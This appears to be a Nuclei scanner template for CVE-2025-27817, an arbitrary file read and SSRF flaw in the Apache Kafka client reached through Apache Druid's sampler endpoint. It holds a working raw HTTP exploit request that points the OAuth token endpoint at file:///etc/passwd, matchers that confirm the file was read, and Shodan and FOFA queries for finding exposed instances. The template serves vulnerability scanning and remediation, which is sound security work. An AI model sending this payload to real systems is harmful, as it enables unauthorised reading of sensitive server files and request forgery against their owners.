CVE-2025-27817: Apache Kafka Client - Arbitrary File Read

id: CVE-2025-27817

info:
  name: Apache Kafka Client - Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
    Apache Kafka Client contains arbitrary file read and server-side request forgery caused by untrusted configuration of sasl.oauthbearer.token.endpoint.url and sasl.oauthbearer.jwks.endpoint.url, letting attackers read files or send requests to unintended locations, exploit requires untrusted party to specify client configurations.
  impact: |
    Attackers can read arbitrary files or make unintended network requests, potentially exposing sensitive data or causing unauthorized interactions.
  remediation: |
    Update to Apache Kafka 4.0.0 or later and configure allowed URLs using -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls system property.
  reference:
    - https://github.com/kk12-30/CVE-2025-27817
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27817
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-27817
    epss-score: 0.68776
    epss-percentile: 0.99308
    cwe-id: CWE-918
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.title:"Apache kafka"
    fofa-query: title="Apache Kafka"
  tags: cve,cve2025,apache,lfi,file-read,ssrf,kafka,oss,vkev,vuln

http:
  - raw:
      - |
        POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:6666","sasl.mechanism":"OAUTHBEARER","security.protocol":"SASL_SSL","sasl.login.callback.handler.class":"org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler","sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd","sasl.jaas.config":"org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;"},"topic":"test","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Malformed JWT provided"
          - "RecordSupplier"
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 400
# digest: 4a0a00473045022100aa63b000163f6737ec886fd29ae9591df6039c3252f815403f41b70d0e75b7ff02203a1cd8611ab5b5a2b42b52d1dc5bafde7dd0578e8a0c6e1417e9664cc1d8b9be:922c64590222798bb761d5b6d8e72950

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